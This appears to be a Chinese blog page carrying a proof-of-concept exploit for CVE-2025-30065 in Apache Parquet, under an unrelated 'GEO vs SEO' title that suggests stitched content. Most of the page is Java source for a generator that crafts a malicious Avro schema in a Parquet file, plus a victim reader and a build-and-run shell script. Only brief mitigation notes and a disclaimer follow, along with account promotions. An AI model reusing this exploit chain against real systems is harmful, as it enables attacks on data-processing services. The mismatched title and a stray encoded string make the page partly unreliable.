GEO vs SEO:从“排名之争”到“引用之战”
2026/7/22 18:06:15
本POC项目完整演示了CVE-2025-30065漏洞的利用链:
ParquetExploitGenerator类创建包含恶意Avro模式的Parquet文件。ParquetVictim类模拟受害者应用程序读取恶意Parquet文件。PayloadRecord类展示了静态初始化块中的命令执行逻辑(在新版POC中已被更隐蔽的类实例化逻辑覆盖)。项目提供了自动化构建脚本CVE-2025-30065.sh。
sudochmod+x CVE-2025-30065.sh./CVE-2025-30065.sh运行自动化脚本后,将按顺序执行以下操作:
ParquetExploitGenerator创建一个名为exploit-jeditorpane.parquet的文件,其Avro模式的默认值字段被精心构造为实例化javax.swing.JEditorPane类。ParquetVictim应用程序读取该文件,在反序列化Avro模式并处理默认值时触发目标类的实例化。整个漏洞利用的核心流程封装在Shell脚本中,其逻辑如下:
ParquetExploitGenerator.java)/** * @author Blackash * @version 1.3 * @license For authorized security research and educational purposes only. * * Generates a Parquet file with a crafted Avro schema to demonstrate CVE-2025-30065, * aligned with the vulnerability logic observed in the official Apache patch. * * This version avoids using custom classes and instead leverages a standard Java class * (javax.swing.JEditorPane) known to exhibit side effects when deserialized. * */importorg.apache.avro.Schema;importorg.apache.hadoop.conf.Configuration;importorg.apache.hadoop.fs.Path;importorg.apache.parquet.avro.AvroParquetWriter;importorg.apache.parquet.hadoop.ParquetWriter;importjava.io.IOException;publicclassParquetExploitGenerator{publicstaticvoidmain(String[]args)throwsIOException{// 默认输出文件名为 exploit-jeditorpane.parquetStringoutputFile=args.length>0?args[0]:"exploit-jeditorpane.parquet";// 恶意Avro模式定义:其‘trigger’字段的类型被设置为‘javax.swing.JEditorPane’记录StringmaliciousSchema="{"+"\"type\": \"record\","+"\"name\": \"ExploitRecord\","+"\"fields\": ["+" {\"name\": \"trigger\","+" \"type\": {\"type\": \"record\", \"name\": \"javax.swing.JEditorPane\", \"fields\": []},"+" \"default\": {}"// 默认值为空对象,触发目标类实例化+" }"+"]"+"}";// 解析模式Schemaschema=newSchema.Parser().parse(maliciousSchema);Pathpath=newPath(outputFile);Configurationconf=newConfiguration();// 使用AvroParquetWriter写入文件try(ParquetWriter<Object>writer=AvroParquetWriter.builder(path).withSchema(schema).withConf(conf).build()){writer.write(null);}System.out.println("[+] Malicious Parquet file generated: "+outputFile);System.out.println("[!] Schema instantiates javax.swing.JEditorPane via default value.");}}ParquetVictim.java)packagevictim;importorg.apache.avro.generic.GenericRecord;importorg.apache.parquet.avro.AvroParquetReader;importorg.apache.parquet.hadoop.ParquetReader;importorg.apache.hadoop.conf.Configuration;importorg.apache.hadoop.fs.Path;publicclassParquetVictim{publicstaticvoidmain(String[]args)throwsException{// 读取恶意Parquet文件Pathpath=newPath("exploit.parquet");ParquetReader<GenericRecord>reader=AvroParquetReader.<GenericRecord>builder(path).withConf(newConfiguration()).build();// 读取记录,此操作会触发Avro模式中默认值的反序列化,从而实例化恶意类GenericRecordrecord=reader.read();System.out.println("Record loaded: "+record);// this triggers instantiation of default}}CVE-2025-30065.sh)#!/bin/bashBASE_DIR=$(pwd)BUILD_DIR="$BASE_DIR/build/classes"CP_FILE="$BASE_DIR/cp.txt"JAR_DEPS=""# 检查Maven并解析依赖ifcommand-v mvn&>/dev/null;thenecho"[+] Resolving dependencies with Maven..."mvn dependency:build-classpath -Dmdep.outputFile=cp.txt>/dev/nullif[!-f"$CP_FILE"];thenecho"[-] Failed to generate classpath (cp.txt)."exit1fiJAR_DEPS=$(cat"$CP_FILE")elseecho"[-] Maven not found. Please install Maven and run again."exit1fi# 创建构建目录mkdir-p"$BUILD_DIR"echo"[+] Compiling PayloadRecord.java..."javac -d"$BUILD_DIR"PayloadRecord.java||exit1echo"[+] Compiling ParquetExploitGenerator..."javac -cp".:$BUILD_DIR:$JAR_DEPS"-d"$BUILD_DIR"POC-CVE-2025-30065-ParquetExploitGenerator.java||exit1echo"[+] Running exploit generator..."java -cp".:$BUILD_DIR:$JAR_DEPS"POC-CVE-2025-30065-ParquetExploitGenerator||exit1echo"[+] Compiling ParquetVictim.java..."javac -cp".:$BUILD_DIR:$JAR_DEPS"-d"$BUILD_DIR"ParquetVictim.java||exit1echo"[+] Running victim (payload should trigger)..."java -cp".:$BUILD_DIR:$JAR_DEPS"ParquetVictimorg.apache.parquet.avro.SERIALIZABLE_PACKAGES,仅允许受信任的包(避免使用*)。org.apache.avro.TRUSTED_PACKAGES来限制Avro模式行为。本项目内容仅供教育研究及安全意识提升之目的,旨在揭示Apache Parquet中CVE-2025-30065安全漏洞的原理。任何信息均不鼓励或支持恶意活动、未经授权的系统访问或漏洞利用。
请确保您拥有测试目标系统的授权,并遵循负责任的披露流程及法律边界。作者不对信息的任何误用负责。FINISHED
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ4lCdOI9nDKouWcoabNKkPM
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)